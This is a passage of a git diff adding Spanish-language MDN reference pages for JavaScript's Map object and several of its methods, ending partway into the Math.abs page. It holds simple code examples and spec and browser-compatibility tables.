+ <li>Un <code>Object</code> tiene prototipo, por lo que hay claves por defecto en tu mapa que pueden colisionar con tus claves si no eres cuidadoso. En el estandard ES5 esto se puede evitar usando <code>mapa = Object.create(null)</code>, pero esto raramente se hace.</li>
+</ul>
+
+<h2 id="Properties" name="Properties">Propiedades</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>El valor de la propiedad de longitud es 0</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>La función constructor que se usa para crear objetos derivados.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd>Representa el prototipo para el constructor de Map. Permite añadir propiedades a todos los objetos <code>Map</code>.</dd>
+</dl>
+
+<h2 id="Boolean_instances" name="Boolean_instances">Instancias de Map</h2>
+
+<p>Todas las instancias de Map heredan de {{jsxref("Map.prototype")}}.</p>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<p>{{page('es/docs/Web/JavaScript/Referencia/Objetos_globales/Map/prototype','Propiedades')}}</p>
+
+<h3 id="Métodos">Métodos</h3>
+
+<p>{{page('es/docs/Web/JavaScript/Referencia/Objetos_globales/Map/prototype','Métodos')}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Usando_el_objeto_Map">Ejemplo: Usando el objeto Map</h3>
+
+<pre class="brush: js">var miMapa = new Map();
+
+var claveObj = {},
+    claveFunc = function () {},
+    claveCadena = "una cadena";
+
+// asignando valores
+miMapa.set(claveCadena, "valor asociado con 'una cadena'");
+miMapa.set(claveObj, "valor asociado con claveObj");
+miMapa.set(claveFunc, "valor asociado with claveFunc");
+
+miMapa.size; // 3
+
+// obteniendo los valores
+miMapa.get(claveCadena);    // "valor asociado con 'una cadena'"
+miMapa.get(claveObj);       // "valor asociado con claveObj"
+miMapa.get(claveFunc);      // "valor asociado con claveFunc"
+
+miMapa.get("una cadena");   // ""valor asociado con 'una cadena'"
+                         // porque claveCadena === 'una cadena'
+miMapa.get({});           // undefined, porque claveObj !== {}
+miMapa.get(function() {}) // undefined, porque claveFunc !== function () {}
+</pre>
+
+<h3 id="Ejemplo_Usando_NaN_como_claves_de_Map">Ejemplo: Usando <code>NaN</code> como claves de Map</h3>
+
+<p><code>NaN</code> también puede ser usado como una clave. Aún cuando cada clave <code>NaN</code> no es igual a sí misma (<code>NaN !== NaN</code> es verdadera), el siguiente ejemplo funciona, porque las claves NaNs <code>NaN</code>s no son distinguibles unas de otras:</p>
+
+<pre class="brush: js">var miMapa = new Map();
+miMapa.set(NaN, "no es un número");
+
+miMapa.get(NaN); // "no es un número"
+
+var otroNaN = Number("foo");
+miMapa.get(otroNaN); // "no es un número"
+</pre>
+
+<h3 id="Ejemplo_Iterando_Map_con_for..of">Ejemplo: Iterando <code>Map</code> con <code>for..of</code></h3>
+
+<p>Los Map pueden ser iterados usando un bucle <code>for..of</code>:</p>
+
+<pre class="brush: js">var miMapa = new Map();
+miMapa.set(0, "cero");
+miMapa.set(1, "uno");
+for (var [clave, valor] of miMapa) {
+  alert(clave + " = " + valor);
+}
+// Mostrará 2 alertas; primero con "0 = cero" y segundo con "1 = uno"
+
+for (var clave of miMapa.keys()) {
+  alert(clave);
+}
+// Mostrará 2 alertas; primero con "0" y segundo con "1"
+
+for (var valor of miMapa.values()) {
+  alert(valor);
+}
+// Mostrará 2 alertas; primero con "cero" y segundo con "uno"
+
+for (var [clave, valor] of miMapa.entries()) {
+  alert(clave + " = " + valor);
+}
+// Mostrará 2 alertas; primero con "0 = cero" y segundo con "1 = uno"
+
+miMapa.forEach(function(valor, clave, miMapa) {
+  alert(clave + " = " + valor);
+})
+// Mostrará 2 alertas; primero con "0 = cero" y segundo con "1 = uno"
+</pre>
+
+<h3 id="Iterando_Maps_usando_forEach()">Iterando <code>Maps</code> usando <code>forEach()</code></h3>
+
+<p>Los Map pueden ser iterados usando el método <code>forEach()</code>:</p>
+
+<pre><code>miMapa.forEach(function(valor, clave) {
+  console.log(clave + ' = ' + valor);
+});
+// Mostrará 2 logs; el primero con "0 = cero" y el segundo con "1 = uno"</code></pre>
+
+<h3 id="Ejemplo_Relación_con_los_objetos_Array">Ejemplo: Relación con los objetos <code>Array</code></h3>
+
+<pre class="brush: js">var kvArray = [["clave1", "valor1"], ["clave2", "valor2"]];
+
+// El constructor por defecto de Map para transforar un Array 2D (clave-valor) en un mapa
+var miMapa = new Map(kvArray);
+
+miMapa.get("clave1"); // devuelve "valor1"
+
+// Usando la función Array.from para transformar el mapa a un Array 2D clave-valor.
+console.log(Array.from(miMapa)); // Muestra exactamente el mismo Array que kvArray
+
+// O usando los iteradores de claves o valores y convirtiendo a array.
+console.log(Array.from(miMapa.keys())); // Muestra ["clave1", "clave2"]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>La tabla de compatiblidad en esta página es generada desde datos estructurados. Si quieres contribuir a los datos, pro favor mira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una solicitud de pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Map")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/keys/index.html b/files/es/web/javascript/referencia/objetos_globales/map/keys/index.html
new file mode 100644
index 0000000000..6f67e49dee
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/keys/index.html
@@ -0,0 +1,109 @@
+---
+title: Map.prototype.keys()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/keys
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys
+---
+<div>{{JSRef}}</div>
+
+<p>El metodo <code><strong>keys()</strong></code> returna un nuevo objeto <code><strong>Iterator</strong></code> que contiene las llaves/keys por cada elemento en el objeto en orden de insercion.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.keys()</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_keys()">Usando <code>keys()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set("0", "foo");
+myMap.set(1, "bar");
+myMap.set({}, "baz");
+
+var mapIter = myMap.keys();
+
+console.log(mapIter.next().value); // "0"
+console.log(mapIter.next().value); // 1
+console.log(mapIter.next().value); // Object
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("20")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("20") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/map/prototype/index.html
new file mode 100644
index 0000000000..16fc79a952
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/prototype/index.html
@@ -0,0 +1,134 @@
+---
+title: Map.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>Map</strong></code><strong><code>.prototype</code></strong>  representa el prototipo del constructor {{jsxref("Map")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La instancia de {{jsxref("Map")}} hereda de {{jsxref("Map.prototype")}}. Puedes utilizar el constructor del prototipo del objeto para agregar propiedades o métodos a todas las instancias de <code>Map</code>.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>Map.prototype.constructor</code></dt>
+ <dd>Devuelve la función que creó el prototipo de una instancia. Esta es la función de {{jsxref("Map")}} por defecto.</dd>
+ <dt>{{jsxref("Map.prototype.size")}}</dt>
+ <dd>Devuelve el número de conjuntos de llave/valor en el objeto <code>Map</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Map.prototype.clear()")}}</dt>
+ <dd>Elimina todos los conjuntos de llave/valor del objeto <code>Map</code>.</dd>
+ <dt>{{jsxref("Map.delete", "Map.prototype.delete(key)")}}</dt>
+ <dd>Elimina cualquier valor asociado a la <code>llave</code> y devuelve el valor que  <code>Map.prototype.has(key)</code> tenía previamente. Después  <code>Map.prototype.has(key)</code> devolverá <code>false</code>.</dd>
+ <dt>{{jsxref("Map.prototype.entries()")}}</dt>
+ <dd>Devuelve un nuevo objeto  <code>Iterador</code> que contiene<strong> un array de <code>[llave, valor]</code></strong> para cada elemento en el objeto  <code>Map</code> en orden de inserción.</dd>
+ <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd>Llama a la callbackFn una vez por cada conjunto llave/valor presentes en cada objeto  <code>Map</code>, en orden de inserción. Si se le proporciona un parámetro thisArg a forEach, se usará como valor "this" para cada callback.</dd>
+ <dt>{{jsxref("Map.get", "Map.prototype.get(key)")}}</dt>
+ <dd>Devuelve el valor asociado a la  <code>llave</code>, o <code>undefined</code> si no tiene ninguno.</dd>
+ <dt>{{jsxref("Map.has", "Map.prototype.has(key)")}}</dt>
+ <dd>Devuelve un booleano que indica si un valor se ha asociado a la <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee;">llave</span></font> en el objeto <code>Map</code> o no se ha asociado.</dd>
+ <dt>{{jsxref("Map.prototype.keys()")}}</dt>
+ <dd>Devuelve un nuevo objeto  <code>Iterador</code> que contiene las <strong>llaves</strong> para cada elemento en el objeto <code>Map</code> en orden de inserción.</dd>
+ <dt>{{jsxref("Map.set", "Map.prototype.set(key, value)")}}</dt>
+ <dd>Establece un valor para la <code>llave</code> en el objeto <code>Map</code>. Devuelve el objeto  <code>Map</code>.</dd>
+ <dt>{{jsxref("Map.prototype.values()")}}</dt>
+ <dd>Devuelve un nuevo objeto  <code>Iterador</code> que contiene los <strong>valores</strong> para cada elemento en el objeto  <code>Map</code> en orden de inserción.</dd>
+ <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt>
+ <dd>Devuelve un nuevo objeto  <code>Iterador</code> que contiene<strong> un array de <code>[llave, valor]</code></strong> para cada elemento en el objeto <code>Map</code> en orden de inserción.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("13")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>8</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/set/index.html b/files/es/web/javascript/referencia/objetos_globales/map/set/index.html
new file mode 100644
index 0000000000..27faa5a1a6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/set/index.html
@@ -0,0 +1,133 @@
+---
+title: Map.prototype.set()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/set
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Mapa
+  - Prototype
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/set
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong>set()</strong> agrega un nuevo elemento al objeto Map con la llave y el valor especificado.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.set(llave, valor);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>llave</dt>
+ <dd>Requerido. La llave del elemento a agregar al objeto Map.</dd>
+ <dt>valor</dt>
+ <dd>Requerido. El valor del elemento a agregar al objeto Map.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El objeto Map.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_set">Usando el método set</h3>
+
+<pre class="brush: js">var miMapa = new Map();
+
+// Agregar nuevos elementos al mapa
+miMapa.set("bar", "foo");
+miMapa.set(1, "foobar");
+
+// Actualizar un elemento en el mapa
+miMapa.set("bar", "baz");
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterítica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterítica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>En versiones inferiores a Firefox 33 {{geckoRelease("33")}}, <code>Map.prototype.set</code> retorna <code>undefined</code> y no es encadenable. Esto se ha reparado ({{bug(1031632)}}). Este comportamiento también se encontró en Chrome/v8 (<a href="https://code.google.com/p/v8/issues/detail?id=3410">issue</a>).</li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/size/index.html b/files/es/web/javascript/referencia/objetos_globales/map/size/index.html
new file mode 100644
index 0000000000..3ca4d446db
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/size/index.html
@@ -0,0 +1,110 @@
+---
+title: Map.prototype.size
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/size
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/size
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad evaluada <code><strong>size</strong></code> retorna el número de elementos en un objeto  {{jsxref("Map")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El valor de <code>size</code> es un entero representando cuántas entradas tiene el objeto <code>Map</code>. No hay definida una función de evalador set  para <code>size</code>; uted no puede cambiar esta propiedad.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_size">Usando <code>size</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set("a", "alpha");
+myMap.set("b", "beta");
+myMap.set("g", "gamma");
+
+myMap.size // 3
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibildad_entre_navegadores">Compatibildad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{ CompatGeckoDesktop("19") }}</td>
+   <td>{{ CompatIE("11") }}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_para_Gecko">Notas específicas para Gecko</h2>
+
+<ul>
+ <li>Desde Gecko 13 {{geckoRelease("13")}} a Gecko 18 {{geckoRelease("18")}} la propiedad size era implementada como un método <strong><code>Map.prototype.size()</code></strong>, esto ha sido modificado a propiedad en versiones posteriores de acuerdo a la especficiación ECMAScript 6 ({{bug("807001")}}).</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/values/index.html b/files/es/web/javascript/referencia/objetos_globales/map/values/index.html
new file mode 100644
index 0000000000..c81b54dbe7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/values/index.html
@@ -0,0 +1,77 @@
+---
+title: Map.prototype.values()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/values
+tags:
+  - ECMAScript 2015
+  - Iterador
+  - JavaScript
+  - Map
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/values
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>values()</strong></code> devuelve un nuevo objeto <strong><a href="/es/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterador</a></strong> que contiene los valores para cada elemento en el objeto <code>Map</code> en el mismo orden de inserción.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.values()</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un nuevo objeto iterador {{jsxref("Map")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_values()">Utilizando <code>values()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.values();
+
+console.log(mapIter.next().value); // "foo"
+console.log(mapIter.next().value); // "bar"
+console.log(mapIter.next().value); // "baz"</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.values")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/abs/index.html b/files/es/web/javascript/referencia/objetos_globales/math/abs/index.html
new file mode 100644
index 0000000000..eb286dcc59
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/abs/index.html
@@ -0,0 +1,149 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/abs
+tags:
+  - JavaScript
+  - Math
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.abs()</code></strong> retorna el valor absoluto de un número, que es </p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&gt;</mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ -x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.abs(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+ <dt>
+ <h3 dir="ltr" id="Valor_de_retorno">Valor de retorno</h3>
+
+ <p dir="ltr">El valor absoluto del número dado.</p>
+
+ <p dir="ltr"></p>
+ </dt>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Como <code>abs()</code> es un método estático de <code>Math</code>, deberías siempre usar <code>Math.abs()</code>, en lugar de un método de un objeto <code>Math</code> que crees (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Comportamiento_de_Math.abs">Comportamiento de <code>Math.abs()</code></h3>
+
+<p>Pasando un string no-numérico o una variable {{jsxref("undefined")}}/empty retorna {{jsxref("NaN")}}. Pasando {{jsxref("null")}} retorna 0.</p>
+
+<pre class="brush: js">Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+<code>Math.abs('');       // 0
+</code>Math.abs([]);       // 0
+<code>Math.abs([2]);      // 2
+</code>Math.abs([1,2]);    // NaN
+<code>Math.abs({});       // NaN</code>
+Math.abs('string'); // NaN
+Math.abs();         // NaN
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
